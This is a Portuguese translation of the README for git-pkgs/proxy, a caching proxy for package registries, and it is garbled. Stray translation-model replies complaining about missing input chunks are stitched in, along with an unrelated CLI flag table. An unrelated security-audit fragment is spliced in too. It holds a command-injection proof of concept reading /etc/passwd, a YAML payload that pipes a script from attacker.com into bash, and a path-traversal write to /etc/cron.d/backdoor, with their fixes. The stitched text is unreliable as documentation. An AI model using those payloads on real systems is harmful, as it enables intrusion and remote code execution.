git-pkgs/proxyUm proxy de cache leve para registros de pacotes.
Um proxy de cache para registos de pacotes. Acelera o download de pacotes ao armazenar artefactos em cache localmente, reduzindo o uso de largura de banda e melhorando a fiabilidade.
A maioria dos ataques à cadeia de abastecimento baseia-se na velocidade: uma versão maliciosa é publicada e consumida por pipelines automatizados em minutos, antes que alguém repare. A funcionalidade de cooldown adiciona um período de quarentena às versões recém-publicadas. Quando ativada, o proxy remove versões das respostas de metadados até que tenham ultrapassado um limiar configurável.```yaml cooldown: default: "3d" # hide versions published less than 3 days ago ecosystems: npm: "7d" # npm gets a longer window cargo: "0" # disable for cargo packages: "pkg:npm/lodash": "0" # exempt trusted packages
Um cooldown de 3 dias significa que quando o `lodash` publica a versão `4.18.0`, suas builds continuam usando `4.17.21` até que 3 dias tenham passado. Se a nova versão acabar comprometida, você nunca foi exposto.
Ordem de resolução: override de pacote, depois override de ecossistema, depois padrão global. Isso permite definir um padrão conservador e abrir exceções para pacotes onde você precisa de atualizações mais rápidas. Consulte [docs/configuration.md](https://github.com/git-pkgs/proxy/blob/main/docs/configuration.md) para a referência completa de configuração.
## Varredura de Artefatos
O cooldown apenas observa o timestamp de publicação de uma versão — ele nunca inspeciona os bytes reais. A varredura de artefatos fecha essa lacuna: quando habilitada, cada artefato é preparado em armazenamento e escaneado por um ou mais serviços externos (trivy, ClamAV, Wiz, ou qualquer outro que fale um pequeno contrato HTTP/JSON) antes de ser confirmado no cache e servido aos clientes.```yaml
scanning:
enabled: true
signing_key: ${PROXY_SCANNING_SIGNING_KEY}
scanners:
- name: clamav
url: http://clamav-adapter:8080/scan
mode: block # a block verdict deletes the artifact and returns 403
- name: trivy
url: http://trivy-adapter:8081/scan
mode: monitor # findings are logged, never gate caching
ecosystems: [npm, pypi]
O proxy nunca envia os bytes dos artefatos para um scanner. Cada scanner é notificado com metadados do pacote mais uma URL assinada de curta duração; o scanner baixa os bytes por conta própria do armazenamento do próprio proxy. Os scanners são executados simultaneamente, e o primeiro scanner em modo block a reportar um veredito de não permitido vence imediatamente, cancelando os restantes. Consulte docs/configuration.md para a referência completa de configuração e o contrato HTTP do scanner.
| Registry | Linguagem/Plataforma | Cooldown | Concluído |
|---|---|---|---|
| npm | JavaScript | Sim | ✓ |
| Cargo | Rust | Sim | ✓ |
| RubyGems | Ruby | Sim | ✓ |
| Go proxy | Go | ✓ | |
| Hex | Elixir | Sim* | ✓ |
| pub.dev | Dart | Sim | ✓ |
| PyPI | Python | Sim | ✓ |
| Maven | Java | ✓ | |
| Gradle Build Cache | Java/Kotlin | ✓ | |
| NuGet | .NET | Sim | ✓ |
| Composer | PHP | Sim | ✓ |
| Conan | C/C++ | ✓ | |
| Conda | Python/R | Sim | ✓ |
| CRAN | R | ✓ | |
| Julia | Julia | ✓ | |
| Swift | Swift | ✓ | |
| Container | Docker/OCI | ✓ | |
| Homebrew | macOS/Linux | ✓ | |
| Debian | Debian/Ubuntu | ✓ | |
| RPM | RHEL/Fedora | ✓ | |
| Alpine | Alpine Linux | ✓ | |
| Arch | Arch Linux |
O cooldown requer timestamps de publicação nos metadados. Registries sem um "Sim" na coluna de cooldown ou não expõem timestamps ou ainda não foram configurados.
* O cooldown do Hex requer a desativação da verificação de assinatura do registry (HEX_NO_VERIFY_REPO_ORIGIN=1), uma vez que o proxy recodifica o payload protobuf.
brew install git-pkgs/git-pkgs/proxy
Ou baixe um binário da [página de releases](https://github.com/git-pkgs/proxy/releases).
### Helm
Instale o chart a partir do GHCR, definindo a URL pública que os clientes de
gerenciadores de pacotes usarão para acessar o proxy:```bash
helm install proxy oci://ghcr.io/git-pkgs/charts/proxy \
--set config.data.base_url=https://proxy.example.com
O chart padrão implanta uma réplica com um volume persistente de 10 GiB,
usando SQLite e armazenamento de artefatos no sistema de arquivos em /data. Consulte
deploy/charts/proxy/values.yaml para opções de configuração de ingress,
banco de dados externo e armazenamento de objetos.
go build -o proxy ./cmd/proxy
./proxy
./proxy -listen :3000 -base-url https://proxy.example.com
O proxy está agora em execução. Configure os seus gestores de pacotes para o utilizar.
## OpenAPI (Swagger)
Este repositório utiliza swaggo para gerar uma especificação OpenAPI a partir de handlers anotados.
Gerar a especificação:```bash
go install github.com/swaggo/swag/cmd/swag@latest
go generate ./internal/server
Os arquivos gerados são gravados em docs/swagger/.
Quando o proxy está em execução, obtenha a especificação em tempo real a partir de:
http://localhost:8080/openapi.jsonOu substitua http://localhost:8080 pela sua URL base configurada. Este link também é exibido no dashboard.
Crie ou edite ~/.npmrc:```
registry=http://localhost:8080/npm/
Ou defina por projeto em `.npmrc`:```
registry=http://localhost:8080/npm/
Ou use variável de ambiente:```bash npm_config_registry=http://localhost:8080/npm/ npm install
### Cargo
Crie ou edite `~/.cargo/config.toml`:```toml
[source.crates-io]
replace-with = "proxy"
[source.proxy]
registry = "sparse+http://localhost:8080/cargo/"
Ou defina por projeto em .cargo/config.toml na raiz do seu projeto.
Defina a origem da gem no seu Gemfile:```ruby
source "http://localhost:8080/gem"
Ou configure globalmente:```bash
gem sources --add http://localhost:8080/gem/
bundle config mirror.https://rubygems.org http://localhost:8080/gem
Defina a variável de ambiente GOPROXY:```bash export GOPROXY=http://localhost:8080/go,direct
Ou no seu perfil de shell para persistência.
### Homebrew
Aponte a API JSON e o domínio de artefatos do Homebrew para o proxy:```bash
export HOMEBREW_API_DOMAIN=http://localhost:8080/homebrew
export HOMEBREW_ARTIFACT_DOMAIN=http://localhost:8080
O domínio de artefatos faz proxy de manifests e blobs de bottles sob /v2/homebrew/core/. O roteamento do GHCR é limitado a esse repositório. Arquivos-fonte, downloads de aplicativos cask, artefatos de taps personalizados e espelhos legados de bottles em arquivo simples usam as URLs de fallback normais do Homebrew. Mantenha o fallback habilitado deixando HOMEBREW_ARTIFACT_DOMAIN_NO_FALLBACK sem definir.
Habilite cache_metadata ou defina PROXY_CACHE_METADATA=true para reter as respostas da API JSON do Homebrew para fallback offline. Blobs de bottles e seus manifests OCI são armazenados em cache sem essa configuração.
Os upstreams padrão são https://formulae.brew.sh/api para a API JSON e https://ghcr.io para artefatos. Para encadear este proxy a outro proxy, configure seus endpoints do Homebrew como os upstreams:```yaml
upstream:
homebrew_api: "https://upstream-proxy.example.com/homebrew"
homebrew_artifact: "https://upstream-proxy.example.com"
As variáveis de ambiente equivalentes são `PROXY_UPSTREAM_HOMEBREW_API` e `PROXY_UPSTREAM_HOMEBREW_ARTIFACT`.
### Hex (Elixir)
Configure em `~/.hex/hex.config`:```erlang
{default_url, <<"http://localhost:8080/hex">>}.
Ou defina a variável de ambiente:```bash export HEX_MIRROR=http://localhost:8080/hex
### pub.dev (Dart/Flutter)
Defina a variável de ambiente PUB_HOSTED_URL:```bash
export PUB_HOSTED_URL=http://localhost:8080/pub
Configure o pip para usar o proxy:```bash pip install --index-url http://localhost:8080/pypi/simple/ package_name
Ou defina em `~/.pip/pip.conf`:```ini
[global]
index-url = http://localhost:8080/pypi/simple/
Adicione ao seu ~/.m2/settings.xml:```xml
proxy
central
http://localhost:8080/maven/
O endpoint `/maven/` usa o Maven Central como upstream primário e recorre ao Gradle Plugin Portal para metadados de marcadores de plugins do Gradle e artefatos relacionados quando o upstream primário retorna não encontrado.
Para resolução de plugins do Gradle através do mesmo endpoint de proxy:```kotlin
pluginManagement {
repositories {
maven(url = "http://localhost:8080/maven/")
}
}
Configure em settings.gradle(.kts):```kotlin
buildCache {
local {
enabled = false
}
remote {
url = uri("http://localhost:8080/gradle/")
push = true
}
}
### NuGet
Configure em `nuget.config`:```xml
<configuration>
<packageSources>
<clear />
<add key="proxy" value="http://localhost:8080/nuget/v3/index.json" />
</packageSources>
</configuration>
Ou use a CLI:```bash dotnet nuget add source http://localhost:8080/nuget/v3/index.json -n proxy
### Composer (PHP)
Configure em `composer.json`:```json
{
"repositories": [
{
"type": "composer",
"url": "http://localhost:8080/composer"
}
]
}
Ou defina globalmente:```bash composer config -g repositories.proxy composer http://localhost:8080/composer
### Conan (C/C++)
Adicione o proxy como um remoto:```bash
conan remote add proxy http://localhost:8080/conan
conan remote disable conancenter
Ou configure em ~/.conan2/remotes.json.
Configure em ~/.condarc:```yaml
channels:
Ou defina via comando:```bash
conda config --add channels http://localhost:8080/conda/main
Defina o repositório no R:```r options(repos = c(CRAN = "http://localhost:8080/cran"))
Ou em `~/.Rprofile` para persistência:```r
local({
r <- getOption("repos")
r["CRAN"] <- "http://localhost:8080/cran"
options(repos = r)
})
Defina o servidor Pkg antes de iniciar o Julia:```bash export JULIA_PKG_SERVER=http://localhost:8080/julia
Ou dentro de uma sessão em execução:```julia
ENV["JULIA_PKG_SERVER"] = "http://localhost:8080/julia"
using Pkg; Pkg.update()
Configure o proxy como o registro padrão para o pacote Swift atual:```bash swift package-registry set --allow-insecure-http http://localhost:8080/swift
As dependências do registro usam seu identificador de pacote com escopo em `Package.swift`:```swift
dependencies: [
.package(id: "apple.swift-argument-parser", from: "1.2.0")
]
O proxy suporta resolução de dependências e downloads de código-fonte. A publicação com
swift package-registry publish não é suportada.
Configure o Docker para usar o proxy como espelho de registro em /etc/docker/daemon.json:```json
{
"registry-mirrors": ["http://localhost:8080"]
}
Em seguida, reinicie o Docker:```bash
sudo systemctl restart docker
Ou baixe imagens diretamente:```bash docker pull localhost:8080/library/nginx:latest
### Helm
Configure cada repositório de gráfico HTTP com um nome e, em seguida, adicione a URL de proxy correspondente ao Helm:```yaml
upstream:
helm:
bitnami: "https://charts.bitnami.com/bitnami"
--host (Crítico)Localização: main.py:parse_args() → scanner.py:run_nmap_scan()
Descrição: O argumento --host é passado diretamente para o comando nmap via subprocess.run() com shell=True, permitindo injeção de comandos.
Código Vulnerável:
# scanner.py
def run_nmap_scan(host, ports):
cmd = f"nmap -p {ports} {host}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
Prova de Conceito:
python main.py --host "127.0.0.1; cat /etc/passwd"
Impacto: Execução remota de comandos (RCE) com os privilégios do processo.
Remediação:
def run_nmap_scan(host, ports):
cmd = ["nmap", "-p", ports, host]
result = subprocess.run(cmd, shell=False, capture_output=True, text=True)
return result.stdout
Localização: config.py:load_config()
Descrição: O uso de yaml.load() sem Loader seguro permite a execução de código arbitrário através de tags YAML maliciosas.
Código Vulnerável:
# config.py
import yaml
def load_config(path):
with open(path, 'r') as f:
config = yaml.load(f)
return config
Prova de Conceito:
# malicious.yaml
!!python/object/apply:os.system ["curl http://attacker.com/shell.sh | bash"]
Impacto: Execução de código arbitrário ao carregar um arquivo de configuração malicioso.
Remediação:
def load_config(path):
with open(path, 'r') as f:
config = yaml.safe_load(f)
return config
Localização: report.py:save_report()
Descrição: O parâmetro --output não é validado, permitindo que um atacante escreva arquivos fora do diretório pretendido.
Código Vulnerável:
# report.py
def save_report(data, output_path):
with open(output_path, 'w') as f:
f.write(data)
Prova de Conceito:
python main.py --output "../../etc/cron.d/backdoor"
Impacto: Sobrescrita de arquivos arbitrários, potencial escalonamento de privilégios.
Remediação:
import os
def save_report(data, output_path):
base_dir = os.path.abspath("reports")
target = os.path.abspath(output_path)
if not target.startswith(base_dir):
raise ValueError("Caminho de saída inválido")
with open(target, 'w') as f:
f.write(data)
``````bash
helm repo add bitnami http://localhost:8080/helm/bitnami
helm repo update
helm pull bitnami/nginx
O proxy faz cache do index.yaml usando as configurações normais de cache de metadados e
faz cache dos arquivos de chart após verificar o digest SHA-256 a partir do índice.
Para charts armazenados em um registro OCI, configure um upstream OCI nomeado e adicione
o prefixo reservado upstream/{name} à referência do chart:```yaml
upstream:
oci:
ghcr: "https://ghcr.io"
I’m ready to translate the Kitploit tool content from English to Portuguese. Please send chunk 85 of 189.```bash
helm pull oci://localhost:8080/upstream/ghcr/owner/charts/mychart --version 1.0.0 --plain-http
Configure o APT para usar o proxy em /etc/apt/sources.list.d/proxy.list:```
deb http://localhost:8080/debian stable main contrib
Substitua suas entradas existentes em sources.list, depois:```bash
sudo apt update
O padrão upstream é http://deb.debian.org/debian. Para fazer proxy de um repositório APT diferente (por exemplo, Ubuntu), defina upstream.debian no arquivo de configuração ou PROXY_UPSTREAM_DEBIAN no ambiente:```yaml
upstream:
debian: "http://archive.ubuntu.com/ubuntu"
### RPM / Yum / DNF
Configure o yum/dnf para usar o proxy em `/etc/yum.repos.d/proxy.repo`:```ini
[proxy-fedora]
name=Fedora via Proxy
baseurl=http://localhost:8080/rpm/releases/$releasever/Everything/$basearch/os/
enabled=1
gpgcheck=0
Então:```bash sudo dnf clean all sudo dnf update
### Alpine / apk
Aponte `/etc/apk/repositories` para o proxy. O nome de repositório padrão
`alpine` faz proxy do espelho oficial (`https://dl-cdn.alpinelinux.org/alpine`):```
http://localhost:8080/apk/alpine/v3.22/main
http://localhost:8080/apk/alpine/v3.22/community
Então:```bash apk update
Índices de repositório (`APKINDEX.tar.gz` v2 e `Packages.adb` v3), assinaturas
destacadas e pacotes são servidos byte a byte sem alterações, para que a verificação
normal de assinatura do apk continue funcionando. Os índices usam o cache de metadados
(`metadata_ttl`, fallback obsoleto); os pacotes `.apk` são armazenados no cache
compartilhado de artefatos e permanecem disponíveis quando o upstream está inacessível.
Para fazer proxy de outros mirrors ou repositórios privados, configure upstreams nomeados
em `upstream.apk` (isto substitui o padrão integrado; adicione novamente `alpine` se
você ainda o quiser):```yaml
upstream:
apk:
alpine: "https://dl-cdn.alpinelinux.org/alpine"
private: "https://apk.example.com"
| -s | --server | SERVER | http://localhost:8080 | URL do servidor |
| -t | --token | TOKEN | | Token de autenticação |
| -o | --output | FILE | stdout | Arquivo de saída |
| -f | --format | FORMAT | json | Formato de saída |
| -v | --verbose | | | Saída detalhada |
| -q | --quiet | | | Modo silencioso |
| -h | --help | | | Exibir ajuda |
| -V | --version | | | Exibir versão |```
http://localhost:8080/apk/private
apk anexa a arquitetura e o nome do arquivo de índice a cada linha de repositório
por si só.
### GitHub Releases / mise (backend aqua)
Configure upstreams genéricos nomeados:```yaml
upstream:
generic:
github: "https://github.com"
github-api: "https://api.github.com"
Em seguida, reescreva os URLs do GitHub nas configurações do mise (~/.config/mise/config.toml, mise ≥ 2025.9.3):```toml
[settings.url_replacements]
"regex:^https://github\\.com/([^/]+)/([^/]+)/releases/download/(.+)" = "http://localhost:8080/generic/github/$1/$2/releases/download/$3"
"regex:^https://api\\.github\\.com/(.*)" = "http://localhost:8080/generic/github-api/$1"
Os assets de release são armazenados em cache permanentemente após o primeiro download e continuam a instalar enquanto o GitHub estiver fora do ar. As consultas de tags através de `api.github.com` são armazenadas em cache durante `metadata_ttl` e servidas obsoletas durante uma indisponibilidade ou limite de taxa. Faça commit de um `mise.lock` e instale com `mise install --locked` para que as instalações fixadas não precisem de nenhuma chamada à API. Adicione um bearer token para `https://api.github.com` em `upstream.auth` se o fleet exceder o limite de taxa anónimo do GitHub.
## Configuração
O proxy pode ser configurado através de:
1. Flags de linha de comandos (prioridade mais alta)
2. Variáveis de ambiente
3. Ficheiro de configuração (YAML ou JSON)
### Flags de Linha de Comandos```
-config string Path to configuration file
-listen string Address to listen on (default ":8080")
-base-url string Public URL of this proxy (default "http://localhost:8080")
-storage-url string Storage URL (file://, s3://, gs://, azblob://)
-storage-path string Path to artifact storage directory (deprecated, use -storage-url)
-database-driver string Database driver: sqlite or postgres (default "sqlite")
-database-path string Path to SQLite database file (default "./cache/proxy.db")
-database-url string PostgreSQL connection URL
-log-level string Log level: debug, info, warn, error (default "info")
-log-format string Log format: text, json (default "text")
-access-log string Path to the JSONL access log
-version Print version and exit
PROXY_LISTEN=:8080 PROXY_BASE_URL=http://localhost:8080 PROXY_UI_URL=http://localhost:8080 # Optional; defaults to PROXY_BASE_URL PROXY_STORAGE_URL=file:///var/cache/proxy/artifacts PROXY_DATABASE_DRIVER=sqlite PROXY_DATABASE_PATH=./cache/proxy.db PROXY_DATABASE_URL=postgres://user:pass@localhost/proxy?sslmode=disable PROXY_LOG_LEVEL=info PROXY_LOG_FORMAT=text PROXY_ACCESS_LOG_PATH=/var/log/proxy/access.jsonl PROXY_UPSTREAM_SWIFT=https://tuist.dev/api/registry/swift
### Arquivo de Configuração```yaml
listen: ":8080"
base_url: "http://localhost:8080"
storage:
url: "file:///var/cache/proxy/artifacts"
max_size: "10GB" # Optional: evict LRU when exceeded
database:
driver: "sqlite"
path: "/var/lib/proxy/cache.db"
log:
level: "info"
format: "text"
access_log:
path: "/var/log/proxy/access.jsonl" # Optional JSONL activity log
# Optional: override upstream URLs
upstream:
npm: "https://registry.npmjs.org"
cargo: "https://index.crates.io"
swift: "https://tuist.dev/api/registry/swift"
# Optional: version cooldown (see above)
cooldown:
default: "3d"
Consulte a referência de configuração para cada chave de upstream, variável de ambiente e URL padrão.
Execute com arquivo de configuração:```bash ./proxy -config /etc/proxy/config.yaml
### PostgreSQL
O SQLite é o padrão e funciona bem para implantações em nó único. Para configurações com múltiplos nós ou se preferir um banco de dados gerenciado, mude para o Postgres:```yaml
database:
driver: "postgres"
url: "postgres://user:password@localhost:5432/proxy?sslmode=disable"
Ou via variáveis de ambiente:```bash PROXY_DATABASE_DRIVER=postgres PROXY_DATABASE_URL=postgres://user:password@localhost:5432/proxy?sslmode=disable
O proxy cria tabelas automaticamente na primeira execução.
### Armazenamento S3
O proxy pode armazenar artefatos em cache no S3 ou em qualquer serviço compatível com S3 (MinIO, R2, etc.) em vez do sistema de arquivos local.```yaml
storage:
url: "s3://my-bucket-name?region=us-east-1"
Para serviços compatíveis com S3, como o MinIO:```yaml storage: url: "s3://my-bucket?endpoint=http://localhost:9000&disableSSL=true&s3ForcePathStyle=true"
Defina as credenciais por meio das variáveis de ambiente padrão da AWS (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_REGION`).
### Google Cloud Storage
O proxy pode armazenar artefatos em cache em um bucket do GCS usando o esquema de URL `gs://`.```yaml
storage:
url: "gs://my-bucket-name"
A autenticação usa Application Default Credentials, o que significa que nenhuma credencial precisa ser incorporada na configuração ou no ambiente. Fontes suportadas, em ordem:
roles/storage.objectAdmin no bucket. O proxy usará o token da workload automaticamente.GOOGLE_APPLICATION_CREDENTIALS apontando para um arquivo de chave JSON de conta de serviço.gcloud auth application-default login para desenvolvimento local.gcloud iam service-accounts create git-pkgs-proxy
--project=PROJECT_ID
gsutil iam ch
serviceAccount:git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com:objectAdmin
gs://my-bucket-name
gcloud iam service-accounts add-iam-policy-binding
git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com
--role=roles/iam.workloadIdentityUser
--member="serviceAccount:PROJECT_ID.svc.id.goog[NAMESPACE/KSA_NAME]"
kubectl annotate serviceaccount KSA_NAME
--namespace=NAMESPACE
iam.gke.io/gcp-service-account=git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com
#### Serviço direto (URLs assinadas) com Workload Identity
Quando `direct_serve: true` está ativado, o proxy emite redirecionamentos HTTP 302 para URLs pré-assinadas do GCS. O Workload Identity não fornece chave privada, então o backend do GCS chama a [API `signBlob` do IAM Credentials](https://docs.cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signBlob). Conceda à conta de serviço o papel de criador de tokens sobre ela mesma:```bash
gcloud iam service-accounts add-iam-policy-binding \
git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com \
--role=roles/iam.serviceAccountTokenCreator \
--member="serviceAccount:git-pkgs-proxy@PROJECT_ID.iam.gserviceaccount.com"
Inicia o servidor proxy. Este é o comando padrão se nenhum for especificado.```bash proxy serve [flags] proxy [flags] # same as 'proxy serve'
### mirror
Pré-popule o cache a partir de PURLs, arquivos SBOM ou registries inteiros. Útil para garantir disponibilidade offline ou aquecer o cache antes de implantações.```bash
# Mirror specific package versions
proxy mirror pkg:npm/[email protected] pkg:cargo/[email protected]
# Mirror all versions of a package
proxy mirror pkg:npm/lodash
# Mirror from a CycloneDX or SPDX SBOM
proxy mirror --sbom sbom.cdx.json
# Preview what would be mirrored
proxy mirror --dry-run pkg:npm/lodash
# Control parallelism
proxy mirror --concurrency 8 pkg:npm/[email protected]
O comando mirror aceita os mesmos sinalizadores de armazenamento e banco de dados que o serve. Artefatos já em cache são ignorados.
Uma API de mirror também está disponível quando o servidor está em execução:```bash
curl -X POST http://localhost:8080/api/mirror
-H "Content-Type: application/json"
-d '{"purls": ["pkg:npm/[email protected]"]}'
curl -X POST http://localhost:8080/api/mirror
-H "Content-Type: application/json"
-d '{"sbom":{"bomFormat":"CycloneDX","components":[{"purl":"pkg:npm/[email protected]"}]}}'
curl -X DELETE http://localhost:8080/api/mirror/mirror-1
### stats
Mostra estatísticas de cache sem executar o servidor.```bash
# Text output
proxy stats
# JSON output
proxy stats -json
# Custom database path
proxy stats -database-path /var/lib/proxy/cache.db
# With PostgreSQL
proxy stats -database-driver postgres -database-url postgres://user:pass@localhost/proxy
# Show top 20 most popular packages
proxy stats -popular 20
Packages: 45 Versions: 128 Artifacts: 128 Total size: 892.4 MB Total hits: 1547
Packages by ecosystem: npm 32 cargo 13
Most popular packages:
Recently cached: npm/[email protected] (2024-01-15 14:32, 54.2 KB) cargo/[email protected] (2024-01-15 14:28, 412.8 KB)
## Endpoints da API
### Protocolos de Registro
| Endpoint | Descrição |
|----------|-------------|
| `GET /` | Dashboard (interface web) |
| `GET /health` | Verificação de integridade e estado do circuit breaker upstream (JSON; HTTP 200 saudável, 503 não saudável) |
| `GET /stats` | Estatísticas de cache (JSON) |
| `GET /metrics` | Métricas Prometheus |
| `GET /npm/*` | Protocolo do registro npm |
| `GET /cargo/*` | Protocolo de índice esparso Cargo |
| `GET /gem/*` | Protocolo RubyGems |
| `GET /go/*` | Protocolo de proxy de módulos Go |
| `GET /hex/*` | Protocolo Hex.pm |
| `GET /pub/*` | Protocolo pub.dev |
| `GET /pypi/*` | API simple/JSON do PyPI |
| `GET /maven/*` | Protocolo de repositório Maven |
| `GET /nuget/*` | API NuGet V3 |
| `GET /composer/*` | Protocolo Composer/Packagist |
| `GET /conan/*` | Protocolo Conan C/C++ |
| `GET /conda/*` | Protocolo Conda/Anaconda |
| `GET /cran/*` | Protocolo CRAN (R) |
| `GET /julia/*` | Protocolo do servidor Julia Pkg |
| `GET /swift/*` | Protocolo Swift Package Registry v1 |
| `GET /helm/{repository}/*` | Protocolo de repositório de charts Helm via HTTP |
| `GET /homebrew/*` | API JSON do Homebrew |
| `GET /v2/*` | Protocolo de registro OCI/Docker |
| `GET /v2/homebrew/core/*` | Manifestos e blobs de bottles do Homebrew core a partir do GHCR |
| `GET /apk/{repository}/*` | Protocolo de repositório Alpine APK |
| `GET /generic/{name}/*` | Proxy de download HTTP genérico (assets de release do GitHub, mise/aqua) |
| `GET /debian/*` | Protocolo de repositório Debian/APT |
| `GET /rpm/*` | Protocolo de repositório RPM/Yum |
### API de Espelhamento
| Endpoint | Descrição |
|----------|-------------|
| `POST /api/mirror` | Iniciar um job de espelhamento (corpo JSON com `purls` ou um `sbom` inline) |
| `GET /api/mirror/{id}` | Obter status e progresso do job |
| `DELETE /api/mirror/{id}` | Cancelar um job em execução |
### API de Enriquecimento
O proxy fornece endpoints REST para enriquecimento de metadados de pacotes, varredura de vulnerabilidades e detecção de versões desatualizadas.
| Endpoint | Descrição |
|----------|-------------|
| `GET /api/package/{ecosystem}/{name}` | Obter metadados do pacote |
| `GET /api/package/{ecosystem}/{name}/{version}` | Obter metadados da versão com vulnerabilidades |
| `GET /api/vulns/{ecosystem}/{name}` | Obter todas as vulnerabilidades de um pacote |
| `GET /api/vulns/{ecosystem}/{name}/{version}` | Obter vulnerabilidades de uma versão específica |
| `POST /api/outdated` | Verificar múltiplos pacotes quanto a versões desatualizadas |
| `POST /api/bulk` | Consulta em massa de metadados de pacotes |
#### Obter Metadados do Pacote```bash
curl http://localhost:8080/api/package/npm/lodash
I need the actual content to translate. You've provided the instructions and metadata (chunk 143 of 189, en→pt), but the INPUT section is empty — there's no Markdown text following "INPUT:".
Please paste the source content for this chunk and I'll return the translation following all the rules you specified.```json { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive", "description": "Lodash modular utilities", "homepage": "https://lodash.com/", "repository": "https://github.com/lodash/lodash", "registry_url": "https://registry.npmjs.org" }
#### Obter Versão com Vulnerabilidades```bash
curl http://localhost:8080/api/package/npm/lodash/4.17.0
I need the actual content of chunk 147 to translate it. You've provided the instructions and metadata, but the source text itself is missing.
Please paste the Markdown content of chunk 147 (the English text to be translated into Portuguese), and I'll return the translation following all the rules you specified.```json { "package": { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive" }, "version": { "ecosystem": "npm", "name": "lodash", "version": "4.17.0", "license": "MIT", "published_at": "2016-06-17T03:59:56Z", "yanked": false, "is_outdated": true }, "vulnerabilities": [ { "id": "GHSA-p6mc-m468-83gw", "summary": "Prototype Pollution in lodash", "severity": "HIGH", "cvss_score": 7.4, "fixed_version": "4.17.12" } ], "is_outdated": true, "license_category": "permissive" }
#### Verificar Pacotes Desatualizados```bash
curl -X POST http://localhost:8080/api/outdated \
-H "Content-Type: application/json" \
-d '{
"packages": [
{"ecosystem": "npm", "name": "lodash", "version": "4.17.0"},
{"ecosystem": "pypi", "name": "requests", "version": "2.25.0"}
]
}'
[No content provided to translate.]```json { "results": [ { "ecosystem": "npm", "name": "lodash", "version": "4.17.0", "latest_version": "4.17.21", "is_outdated": true }, { "ecosystem": "pypi", "name": "requests", "version": "2.25.0", "latest_version": "2.31.0", "is_outdated": true } ] }
#### Consulta em Massa de Pacotes```bash
curl -X POST http://localhost:8080/api/bulk \
-H "Content-Type: application/json" \
-d '{
"purls": [
"pkg:npm/[email protected]",
"pkg:pypi/[email protected]"
]
}'
I don't see any content in your message to translate. The "INPUT" section appears to be empty — there's no Markdown text following it.
Please paste the actual chunk 155 content you'd like me to translate from English to Portuguese, and I'll return only the translated Markdown with all structure, code, paths, and identifiers preserved exactly.```json { "packages": { "pkg:npm/lodash": { "ecosystem": "npm", "name": "lodash", "latest_version": "4.17.21", "license": "MIT", "license_category": "permissive" }, "pkg:pypi/requests": { "ecosystem": "pypi", "name": "requests", "latest_version": "2.31.0", "license": "Apache-2.0", "license_category": "permissive" } } }
### Resposta de Estatísticas (endpoint HTTP)```json
{
"cached_artifacts": 142,
"total_size_bytes": 523456789,
"total_size": "499.2 MB",
"storage_url": "file:///path/to/cache/artifacts",
"database_path": "./cache/proxy.db"
}
## Interface Web
O proxy serve uma interface web em `/ui`. Nenhuma compilação de frontend separada é necessária -- os templates e recursos estão incorporados no binário. `GET /` redireciona para `/ui/`. A interface é montada sob seu próprio prefixo para que um proxy reverso possa aplicar regras de acesso diferentes a ela do que aos endpoints de pacotes (por exemplo, exigir autenticação para `PathPrefix(/ui)` enquanto deixa `/npm`, `/pypi` etc. abertos para máquinas de build).
- **Dashboard** (`/ui/`) -- estatísticas de cache, pacotes populares, artefatos recentemente armazenados em cache e visão geral de vulnerabilidades.
- **Guia de instalação** (`/ui/install`) -- instruções de configuração por ecossistema, para que você não precise procurá-las aqui.
- **Navegador de pacotes** (`/ui/packages`) -- navegue por todos os pacotes em cache com filtragem por ecossistema e ordenação por hits, tamanho, nome ou contagem de vulnerabilidades.
- **Busca** (`/ui/search?q=...`) -- pesquise pacotes em cache por nome.
- **Detalhe do pacote** (`/ui/package/{ecosystem}/{name}`) -- metadados, licença, vulnerabilidades e lista de versões de um pacote. Você pode selecionar duas versões para comparar.
- **Detalhe da versão** (`/ui/package/{ecosystem}/{name}/{version}`) -- metadados por versão, hash de integridade, status do cache de artefatos e contagens de hits.
- **Navegador de código-fonte** (`/ui/package/{ecosystem}/{name}/{version}/browse`) -- navegue pelos arquivos dentro dos arquivos compactados em cache com realce de sintaxe para arquivos de texto e pré-visualizações de imagens.
- **Diff de versões** (`/ui/package/{ecosystem}/{name}/compare/{v1}...{v2}`) -- diff lado a lado de duas versões em cache mostrando arquivos adicionados, removidos e alterados.
## Monitoramento
O proxy expõe métricas Prometheus em `GET /metrics`. Todos os nomes de métricas têm o prefixo `proxy_`.
| Métrica | Tipo | Labels | Descrição |
|--------|------|--------|-------------|
| `proxy_requests_total` | counter | `ecosystem`, `status` | Respostas do proxy por ecossistema de pacotes e status HTTP |
| `proxy_request_duration_seconds` | histogram | `ecosystem`, `status` | Duração das requisições do proxy |
| `proxy_cache_hits_total` | counter | `ecosystem` | Acertos de cache |
| `proxy_cache_misses_total` | counter | `ecosystem` | Erros de cache |
| `proxy_cache_size_bytes` | gauge | | Tamanho total dos artefatos em cache |
| `proxy_cached_artifacts_total` | gauge | | Número de artefatos em cache |
| `proxy_upstream_fetch_duration_seconds` | histogram | `ecosystem` | Tempo gasto buscando do upstream |
| `proxy_upstream_errors_total` | counter | `ecosystem`, `error_type` | Falhas de busca no upstream |
| `proxy_storage_operation_duration_seconds` | histogram | `operation` | Latência de leitura/escrita no armazenamento |
| `proxy_storage_errors_total` | counter | `operation` | Falhas de leitura/escrita no armazenamento |
| `proxy_active_requests` | gauge | | Requisições em andamento |
| `proxy_health_probe_failures_total` | counter | `step` | Falhas de sondagem de saúde do armazenamento por etapa com falha (`write`, `size`, `read`, `verify`, `delete`). |
| `proxy_circuit_breaker_state` | gauge | `registry` | Estado do circuit breaker de busca de artefatos por registro upstream (0 fechado, 2 aberto). Publicado assim que o breaker daquele registro for acionado. |
| `proxy_circuit_breaker_trips_total` | counter | `registry` | Acionamentos do circuit breaker por registro upstream. |
